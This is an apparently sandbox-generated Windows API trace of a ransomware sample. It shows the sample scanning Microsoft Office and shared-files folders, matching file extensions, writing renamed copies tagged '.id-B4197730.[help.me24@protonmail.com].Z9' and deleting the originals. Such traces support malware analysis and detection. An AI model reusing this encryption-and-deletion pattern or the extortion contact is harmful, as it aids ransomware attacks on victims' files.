	[0188.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.036] lstrlenW (lpString=".7z") returned 3
	[0188.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.036] lstrlenW (lpString=".dbf") returned 4
	[0188.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.036] lstrlenW (lpString=".1cd") returned 4
	[0188.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.036] lstrlenW (lpString=".jpg") returned 4
	[0188.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.036] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0188.036] lstrlenW (lpString="J0157191.WMF") returned 12
	[0188.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0188.052] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17912) returned 1
	[0188.052] CloseHandle (hObject=0x444) returned 1
	[0188.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 0x220
	[0188.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0188.053] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.053] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0188.139] GetLastError () returned 0x0
	[0188.139] ReadFile (in: hFile=0x444, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x45f8, lpOverlapped=0x0) returned 1
	[0188.177] WriteFile (in: hFile=0x2cc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4600, lpOverlapped=0x0) returned 1
	[0188.178] ReadFile (in: hFile=0x444, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.178] WriteFile (in: hFile=0x2cc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.178] SetEndOfFile (hFile=0x2cc) returned 1
	[0188.179] CloseHandle (hObject=0x2cc) returned 1
	[0188.179] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.179] SetEndOfFile (hFile=0x444) returned 1
	[0188.306] CloseHandle (hObject=0x444) returned 1
	[0188.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 1
	[0188.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.309] lstrlenW (lpString=".doc") returned 4
	[0188.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.309] lstrlenW (lpString=".docx") returned 5
	[0188.309] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0188.309] lstrlenW (lpString=".pdf") returned 4
	[0188.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.309] lstrlenW (lpString=".xls") returned 4
	[0188.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.309] lstrlenW (lpString=".xlsx") returned 5
	[0188.309] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0188.309] lstrlenW (lpString=".ppt") returned 4
	[0188.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.310] lstrlenW (lpString=".zip") returned 4
	[0188.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.310] lstrlenW (lpString=".rar") returned 4
	[0188.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.310] lstrlenW (lpString=".bz2") returned 4
	[0188.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.310] lstrlenW (lpString=".7z") returned 3
	[0188.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.310] lstrlenW (lpString=".dbf") returned 4
	[0188.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.310] lstrlenW (lpString=".1cd") returned 4
	[0188.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.310] lstrlenW (lpString=".jpg") returned 4
	[0188.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.310] lstrlenW (lpString=".doc") returned 4
	[0188.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.310] lstrlenW (lpString=".docx") returned 5
	[0188.310] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0188.310] lstrlenW (lpString=".pdf") returned 4
	[0188.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.311] lstrlenW (lpString=".xls") returned 4
	[0188.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.311] lstrlenW (lpString=".xlsx") returned 5
	[0188.311] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0188.311] lstrlenW (lpString=".ppt") returned 4
	[0188.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.311] lstrlenW (lpString=".zip") returned 4
	[0188.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.311] lstrlenW (lpString=".rar") returned 4
	[0188.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.311] lstrlenW (lpString=".bz2") returned 4
	[0188.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.311] lstrlenW (lpString=".7z") returned 3
	[0188.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.311] lstrlenW (lpString=".dbf") returned 4
	[0188.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.311] lstrlenW (lpString=".1cd") returned 4
	[0188.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0188.311] lstrlenW (lpString=".jpg") returned 4
	[0188.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.311] lstrlenW (lpString=".id-") returned 4
	[0188.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76ff28 | out: hHeap=0x710000) returned 1
	[0188.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad868 | out: hHeap=0x710000) returned 1
	[0188.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3850930 | out: hHeap=0x710000) returned 1
	[0188.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3860938 | out: hHeap=0x710000) returned 1
	[0188.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3a5f020 | out: hHeap=0x710000) returned 1
	[0188.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fc88 | out: hHeap=0x710000) returned 1
	[0188.317] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.317] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fe8
	[0188.317] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.317] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x392a128
	[0188.318] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.318] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.318] Wow64DisableWow64FsRedirection (in: OldValue=0x2d2ff50 | out: OldValue=0x2d2ff50*=0x1) returned 1
	[0188.318] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x392a128 | out: hHeap=0x710000) returned 1
	[0188.318] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1

Thread:
	id = 41
	os_tid = 0xd8c

	[0159.321] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3870940
	[0159.321] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3880948
	[0159.321] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fca0
	[0159.321] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ad8a8
	[0159.321] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fcb8
	[0159.322] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3b7d020
	[0159.324] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fcd0
	[0159.324] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fcd0, Size=0x20) returned 0x74f3a0
	[0159.324] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fdd8
	[0159.324] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fdd8, Size=0x20) returned 0x74f378
	[0159.324] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.325] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.325] Wow64DisableWow64FsRedirection (in: OldValue=0x2e6ff50 | out: OldValue=0x2e6ff50*=0x0) returned 1
	[0159.325] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.325] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f3a0 | out: hHeap=0x710000) returned 1
	[0159.325] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.325] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f378 | out: hHeap=0x710000) returned 1
	[0159.325] Sleep (dwMilliseconds=0x64) 
	[0159.635] Sleep (dwMilliseconds=0x64) 
	[0160.315] Sleep (dwMilliseconds=0x64) 
	[0160.633] Sleep (dwMilliseconds=0x64) 
	[0160.913] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0160.913] lstrlenW (lpString="Alphabet.xml") returned 12
	[0160.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.931] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=791421) returned 1
	[0160.931] CloseHandle (hObject=0x394) returned 1
	[0160.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0160.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.932] lstrlenW (lpString=".doc") returned 4
	[0160.932] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0160.932] lstrlenW (lpString=".docx") returned 5
	[0160.932] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0160.932] lstrlenW (lpString=".pdf") returned 4
	[0160.932] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0160.932] lstrlenW (lpString=".xls") returned 4
	[0160.932] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0160.932] lstrlenW (lpString=".xlsx") returned 5
	[0160.932] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0160.932] lstrlenW (lpString=".ppt") returned 4
	[0160.932] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0160.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.932] lstrlenW (lpString=".zip") returned 4
	[0160.932] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0160.932] lstrlenW (lpString=".rar") returned 4
	[0160.932] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0160.932] lstrlenW (lpString=".bz2") returned 4
	[0160.932] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0160.932] lstrlenW (lpString=".7z") returned 3
	[0160.932] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0160.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.933] lstrlenW (lpString=".dbf") returned 4
	[0160.933] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.933] lstrlenW (lpString=".1cd") returned 4
	[0160.933] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.933] lstrlenW (lpString=".jpg") returned 4
	[0160.933] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.933] lstrlenW (lpString=".doc") returned 4
	[0160.933] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString=".docx") returned 5
	[0160.933] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0160.933] lstrlenW (lpString=".pdf") returned 4
	[0160.933] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString=".xls") returned 4
	[0160.933] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString=".xlsx") returned 5
	[0160.933] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0160.933] lstrlenW (lpString=".ppt") returned 4
	[0160.933] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.933] lstrlenW (lpString=".zip") returned 4
	[0160.933] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0160.933] lstrlenW (lpString=".rar") returned 4
	[0160.933] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString=".bz2") returned 4
	[0160.933] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0160.933] lstrlenW (lpString=".7z") returned 3
	[0160.933] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0160.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.933] lstrlenW (lpString=".dbf") returned 4
	[0160.933] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0160.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.934] lstrlenW (lpString=".1cd") returned 4
	[0160.934] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0160.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0160.934] lstrlenW (lpString=".jpg") returned 4
	[0160.934] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0160.934] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.934] lstrlenW (lpString="correct.avi") returned 11
	[0160.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.948] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=180172) returned 1
	[0160.948] CloseHandle (hObject=0x394) returned 1
	[0160.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0160.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.948] lstrlenW (lpString=".doc") returned 4
	[0160.948] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.948] lstrlenW (lpString=".docx") returned 5
	[0160.948] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0160.948] lstrlenW (lpString=".pdf") returned 4
	[0160.948] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.948] lstrlenW (lpString=".xls") returned 4
	[0160.948] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.948] lstrlenW (lpString=".xlsx") returned 5
	[0160.949] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0160.949] lstrlenW (lpString=".ppt") returned 4
	[0160.949] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.949] lstrlenW (lpString=".zip") returned 4
	[0160.949] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString=".rar") returned 4
	[0160.949] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString=".bz2") returned 4
	[0160.949] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString=".7z") returned 3
	[0160.949] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.949] lstrlenW (lpString=".dbf") returned 4
	[0160.949] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.949] lstrlenW (lpString=".1cd") returned 4
	[0160.949] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.949] lstrlenW (lpString=".jpg") returned 4
	[0160.949] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.949] lstrlenW (lpString=".doc") returned 4
	[0160.949] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString=".docx") returned 5
	[0160.949] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0160.949] lstrlenW (lpString=".pdf") returned 4
	[0160.949] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString=".xls") returned 4
	[0160.949] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.949] lstrlenW (lpString=".xlsx") returned 5
	[0160.949] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0160.949] lstrlenW (lpString=".ppt") returned 4
	[0160.949] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.950] lstrlenW (lpString=".zip") returned 4
	[0160.950] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.950] lstrlenW (lpString=".rar") returned 4
	[0160.950] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.950] lstrlenW (lpString=".bz2") returned 4
	[0160.950] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.950] lstrlenW (lpString=".7z") returned 3
	[0160.950] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.950] lstrlenW (lpString=".dbf") returned 4
	[0160.950] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.950] lstrlenW (lpString=".1cd") returned 4
	[0160.950] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0160.950] lstrlenW (lpString=".jpg") returned 4
	[0160.950] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.950] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.950] lstrlenW (lpString="join.avi") returned 8
	[0160.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.955] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=199994) returned 1
	[0160.955] CloseHandle (hObject=0x394) returned 1
	[0160.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0160.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
